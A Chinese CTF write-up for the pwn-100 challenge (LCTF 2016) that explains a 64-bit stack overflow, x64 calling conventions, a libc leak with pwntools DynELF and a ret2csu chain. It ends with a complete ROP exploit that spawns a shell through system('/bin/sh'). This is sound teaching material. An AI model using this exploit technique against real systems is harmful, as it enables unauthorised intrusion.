攻防世界-pwn pwn-100(ROP)

此题是LCTF 2016年的pwn100
参考文章:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&ctid=157

0x01 文件分析

攻防世界-pwn pwn-100(ROP)_第1张图片

  • 64位elf
  • 无stack
  • 无PIE

0x02 运行分析

攻防世界-pwn pwn-100(ROP)_第2张图片
 看起来像一个无限循环,不断接收输入。

0x03 静态分析

main:
攻防世界-pwn pwn-100(ROP)_第3张图片
sub_40068E:
攻防世界-pwn pwn-100(ROP)_第4张图片
sub_40063D:
攻防世界-pwn pwn-100(ROP)_第5张图片
 整个程序由3个嵌套的程序组成,我们可以看到sub_40063D是主要的程序,接受单个字符并存储到传入的参数a1所指向的空间之内,同时分析sub_40068E发现sub_40063D中a1就是sub_40068E中的v1,并且v1的栈空间大小就只有0x40,而sub_40063D接受的输入量有0x200个字节,这样就存在栈溢出漏洞了。
 通过查找字符串和函数,没有发现可以用来直接ROP的函数,并且没有libc的信息。走到这一步就遇到了难点。

攻防世界-pwn pwn-100(ROP)_第6张图片
 之后,通过分析函数列表,里面有puts这个库函数,联系pwntools中的DynELF,我们可以将libc的地址泄露出来,再来构造ROP。

0x04 思路分析

 没有libc和可利用后门,但不代表程序就是不能攻破的,在这里需要注意的是x86和x64的函数调用传递参数的方式是不一样的,我就是在这个地方卡了许久。
 x86中,函数调用是直接将参数压栈,需要用的时候直接将参数放在栈上,调用的函数就能直接取得参数并运算。如图:
攻防世界-pwn pwn-100(ROP)_第7张图片
调用read函数的时候,参数直接放入栈中,但是x64的程序不一样,x64的gcc优化了x86的传参方式,x64程序设立了几个寄存器李存放参数,调用函数的时候先向寄存器之中放参数,当参数的数量大于寄存器的时候,才会向栈中放参数。
攻防世界-pwn pwn-100(ROP)_第8张图片
这是本题中的sub_40068E函数,可以看到其参数是放在rdi和esi两个寄存器之中的,这就是两种结构的不一样,如果要在x64的程序之中构造rop,我们就必须向寄存器存放参数。
举个例子:

fun(1,2,3,4,5,6,7,8,9);//当我们调用这个函数的时候
//x86传参的方式是这样:
push 9;
push 8;
···
push 1;
call fun;
//x64传参方式:
mov r9d 6;
mov r8d 5;
mov ecx 4;
mov edx 3;
mov esi 2;
mov edi 1;
mov DWORD PTR [rsp+16], 9;
mov DWORD PTR [rsp+8], 8;
mov DWORD PTR [rsp], 7;
call fun;
//这是用gcc编译的,其他编译器有不同的传参方法

传参的顺序,默认是从最后一个参数先开始传入,x86和x64都是一样。
x64优先使用寄存器,在x64上构造rop,就得学会利用寄存器传递参数。
 关于pwntools的DynELF,可以在官方文档上查看,其主要功能是通过不断传入默认的函数地址到我们写的leak函数内部,测试并获取libc的版本,得到我们需要的函数地址,不过DynELF好像只能搜索函数地址,没办法搜索字符串地址,所以我们还需要传入我们所需要的字符串,再调用函数加载bash。
 由于需要不断传入参数测试,又有每次加载程序之后,ibc的地址都会变化,我们就需要不断重复当前程序,这时候最方便的方法就是重置程序,这段代码主要是存在于程序初始化的那部分,初始化之后就相当于一个新的程序,栈空间会重新分配。本程序的初始化段:
攻防世界-pwn pwn-100(ROP)_第9张图片
此外,程序调用还需要一个gadget,我们的程序之中包含了这个gadget,具体的详解可参照博客:https://xz.aliyun.com/t/5597,这位师傅讲得很详细。
攻防世界-pwn pwn-100(ROP)_第10张图片

0x05 exp

from pwn import *

p = process('./pwn-100')
elf = ELF('./pwn-100')

puts_addr = elf.plt['puts']
read_addr = elf.got['read']

start_addr = 0x400550
pop_rdi = 0x400763 
gadget_1 = 0x40075a
gadget_2 = 0x400740

bin_sh_addr = 0x60107c  #存储/bin/sh的地址

def leak(addr):
    up = ''     
    content = ''
    payload = 'A'*0x48
    payload += p64(pop_rdi)  
    payload += p64(addr)
    payload += p64(puts_addr)
    payload += p64(start_addr)
    payload = payload.ljust(200, 'B')
    p.send(payload)
    p.recvuntil("bye~\n")
    while True: #防止未接受完整传回的数据
        c = p.recv(numb=1, timeout=0.1)
        if up == '\n' and c == "":
            content = content[:-1]+'\x00'
            break
        else:
            content += c
            up = c
    content = content[:4]
    return content

d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
#调用read函数
payload = "A"*0x48
payload += p64(gadget_1)
payload += p64(0)
payload += p64(1)
payload += p64(read_addr)
payload += p64(8)
payload += p64(bin_sh_addr)
payload += p64(0)
payload += p64(gadget_2)
payload += '\x00'*56
payload += p64(start_addr)
payload = payload.ljust(200, "B")

#输入/bin/sh
p.send(payload)
p.recvuntil('bye~\n')
p.send("/bin/sh\x00")

#调用system函数
payload = "A"*72				
payload += p64(pop_rdi)			
payload += p64(bin_sh_addr)		
payload += p64(system_addr)		
payload = payload.ljust(200, "B")	

p.send(payload)
p.interactive()

你可能感兴趣的:(ctf_pwn)